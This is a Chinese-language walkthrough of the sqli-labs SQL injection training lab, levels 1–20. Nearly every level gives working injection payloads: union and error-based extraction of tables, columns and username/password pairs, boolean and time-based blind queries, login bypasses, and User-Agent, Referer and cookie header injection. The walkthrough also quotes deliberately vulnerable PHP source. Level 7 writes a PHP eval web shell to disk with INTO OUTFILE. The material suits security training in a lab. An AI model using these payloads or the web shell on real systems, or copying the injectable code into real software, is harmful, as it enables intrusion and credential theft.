less-1
输入单引号后报错,根据报错信息,可以确定输入参数的内容被存放到一对单引号中间
图片.png
爆表:
用到语句:id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
爆列:
用到语句:id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
爆值:
用到语句:id=0' union select 1,group_concat(username,password),3 from users--+
注意:
图片.png
图中的3换成几都可以但不能为空,且前后这个地方出现的数应该一致
less-2
输入单引号后报错,根据报错信息确定输入的内容被带入到数据库中,也可叫做数字型注入
爆表:
用到语句:
id=0 union select 1,group_concat(table_name),2 from information_schema.tables where table_schema=database() --+
图片.png
爆列:
用到语句:id=0 union select 1,group_concat(column_name),2 from information_schema.columns where table_name='users' --+
爆值:
用到语句:id=0 union select 1,group_concat(username,password),2 from users--+
less-3
输入单引号,根据报错信息确定输入的内容存放到一对单引号加圆括号中了
爆表:
用到语句:
id=0') union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+
图片.png
爆列:
用到语句:id=0') union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+
爆值:
用到语句:id=0') union select 1,group_concat(username,password),1 from users--+
less-4
输入单引号没有报错,尝试输入双引号,页面报错,根据报错信息判断出输入的内容被放到一对双引号和圆括号中
爆表:
用到语句:
id=0") union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --+
爆列:
用到语句:id=0") union select 1,group_concat(column_name),1 from information_schema.columns where table_name='users' --+
爆值:
用到语句:id=0") union select 1,group_concat(username,password),1 from users--+
less-5
输入单引号报错,根据报错信息,可以确定输入参数的内容被存放到一对单引号中间
爆表:
用到语句:
id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
图片.png
等等,好像不管用啊,是哪里出问题了吗??UNION联合查询型注入不能用了...那试试布尔盲注,时间延迟型注入或者报错型注入,听说布尔和时间需要用sqlmap跑,那就试试报错注入吧
tables.png爆表
用到语句:?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
columns.png爆列
1?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
2?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and column_name not in ('user_id','first_name','last_name','us','user','password','avatar','last_login')))) --+
keepon.png
username.png爆值
1?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))--+
2?id=1' and 1=extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
keepon.png
less-6
用双引号试完,发现 图片.png根据报错信息判断出输入的内容被放到一对双引号中
用报错注入,与less-5类似只是把id改成id=1"即可
less-7
可能由于权限问题,一直写不进文件,在这里我简述一下方法,后续我会研究研究如何获取文件权限。
这道题是转储文件get字符型注入
通过payload 导入到指定的路径
导入:
Payload:?id=1')) union select 1,'2','<?php @eval($_POST["xx"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\1.txt' %23
导出:
Payload:id=(('1')) union select 1,load_file ('D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\1.txt'),'3' #'))
less-8
这一个和第七个其实差不多,主要就是把报错全部过滤了,如果错误就没有返回,正确就返回you are in……但是其实都一样,两个不同的返回可以利用基于布尔的盲注进行测试:
盲注需要掌握一些MySQL的相关函数:
substr(str, pos, len):将str从pos位置开始截取len长度的字符进行返回。*注意:这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
常见的ASCII,A:65,Z:90 a:97,z:122, 0:48, 9:57
首先select database()查询数据库
ascii(substr((select database()),1,1)):返回数据库名称的第一个字母,转化为ascii码
ascii(substr((select database()),1,1))>64:ascii大于64就返回true,if就返回1,否则返回0
?id=1' and if(ascii(substr((select database()),1,1))>64, 1, 0) %23
或者这样就简单一点
?id=1' and ascii(substr((select database()),1,1))>64 %23
猜数据库名:
由于脚本语言还没学习到,也不会使用工具,只好使用二分法。。一个漫长的过程。。
?id=1' and ascii(substr((select database()),1,1))>96 %23 返回正确,大于96
?id=1' and ascii(substr((select database()),1,1))<123 %23 返回正确,小于123 ,区间在97-122
?id=1' and ascii(substr((select database()),1,1))>109 %23 返回正确,大于109,区间在110-122
?id=1' and ascii(substr((select database()),1,1))>116 %23 返回错误,所以在110-116之间
?id=1' and ascii(substr((select database()),1,1))>112 %23 返回正确,大于112,区间在113-116之间
?id=1' and ascii(substr((select database()),1,1))>114 %23 返回正确,大于114,间在115-116之间
?id=1' and ascii(substr((select database()),1,1))>115 %23 返回错误,不大于115,即第一个字母的ascii为115,即字母s
剩下的方式同前面,这里就不叙述了
less-9
由于不管怎么输入都会被过滤,返回同一个结果,所以只能用时间延迟注入
payload:?id=1’ and sleep(5) %23
payload:?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
less-10
同上,只是由单引号变为双引号
payload:?id=1” and sleep(5) %23
payload:?id=1” and if(ascii(substr(database(),1,1))>115, 0, sleep(5)) %23
11-20全都是POST型,可以使用抓包工具。
less-11
错误的post单引号注入 :
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a'' and password='' LIMIT 0,1' at line 1
payload-post:username=a ’ or 1=1 # &password=xxxxx
less-12
错误的post双引号注入:
尝试输入a”
返回错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a"") and password=("") LIMIT 0,1' at line 1
payload-post:username=test “) or 1=1 # &password=xxxxx
less-13
尝试输入a ’
返回错误信息:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''a'') and password=('') LIMIT 0,1' at line 1
payload-post:username=test ‘) or 1=1 # &password=xxxxx
less-14
尝试输入a”
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a"" and password="" LIMIT 0,1' at line 1
payload-post:username=a&password=a” or “1”=”1
less-15
bool型/时间延迟单引号POST型盲注
这次输入’ “都没有错误
看了一下源码:
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<img src="../images/flag.jpg" />';
}
else
{
echo '<img src="../images/slap.jpg" />';
}
这是一个盲注,通过返回正确信息判断是否注入成功
payload-post:
username=' or '1'='1 &password=xxx
username=' or 1=1 # &password=xxx
username=' or (length(database())) = 8 #&password=xxx
username=' or (ascii(substr((select database()) ,1,1))) = 115 #&password=xxx
less-16
bool型/时间延迟的双引号POST型盲注
尝试输入 a”) or 1=1 #
然后构造带有括号的注入
username=") or ("1")=("1 &passwd=xxx
username=") or 1=1 or if(1=1, sleep(1), null) # &passwd=xxx
username=") or (length(database())) = 8 # &passwd=xxx
username=") or (ascii(substr((select database()) ,1,1))) = 115 or if(1=1, sleep(1), null) # &passwd=xxx
less-17
密码重置,源码见下:
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
@$sql="SELECT username, password FROM users WHERE username= $uname LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
$row1 = $row['username'];
$update="UPDATE users SET password = '$passwd' WHERE username='$row1'"; mysql_query($update);
if (mysql_error())
{
print_r(mysql_error());
}else
{
echo '<img src="../images/flag1.jpg" />';
}
else
{
echo '<img src="../images/slap1.jpg" />';
}
查看数据库,只需输入正确的用户名即可
图片.png
payload-post:
username:admin &passwd=xxx
less-18
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
if($row1)
{
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
mysql_query($insert);
echo 'Your User Agent is: ' .$uagent;
print_r(mysql_error());
echo '<img src="../images/flag.jpg" />';
}else
{
print_r(mysql_error());
echo '<img src="../images/slap.jpg" />';
}
通过查看源码看到,是一个insert的语句,通过构造updatexml xpath错误信息来返回数据
通过构造User-Agent
payload-header:User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:64.0) Gecko/20100101 Firefox/64.0' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
less-19
头部的Referer POST报错注入
同上只是构造的请求头不一样
通过构造Referer
Referer: http://localhost/sqli-labs/Less-19/ ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
less-20
无cookie时 登录部分
$uname = check_input($_POST['uname']);
$passwd = check_input($_POST['passwd']);
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
$result1 = mysql_query($sql);
$row1 = mysql_fetch_array($result1);
$cookee = $row1['username'];
if($row1)
{
setcookie('uname', $cookee, time()+3600);
header ('Location: index.php'); print_r(mysql_error());
echo '<img src="../images/flag.jpg" />';
}else
{
print_r(mysql_error());
echo '<img src="../images/slap.jpg" />';
}
有cookie时 登录部分
$cookee = $_COOKIE['uname'];
$format = 'D d M Y - H:i:s';
$timestamp = time() + 3600;
echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];
echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp); $sql="SELECT * FROM users WHERE username='$cookee' LIMIT 0,1"; $result=mysql_query($sql);
if (!$result)
{
die('Issue with your mysql: ' . mysql_error());
}
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
echo 'Your ID:' .$row['id'];
}else
{
echo '<img src="../images/slap1.jpg" />';
}
错误的cookie头部POST注入
这里因为不是Inser语句 , 所以在补全SQL语句的时候不需要加,”,”)
通过构造cookie
payload-header:Cookie: uname=admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #
网友评论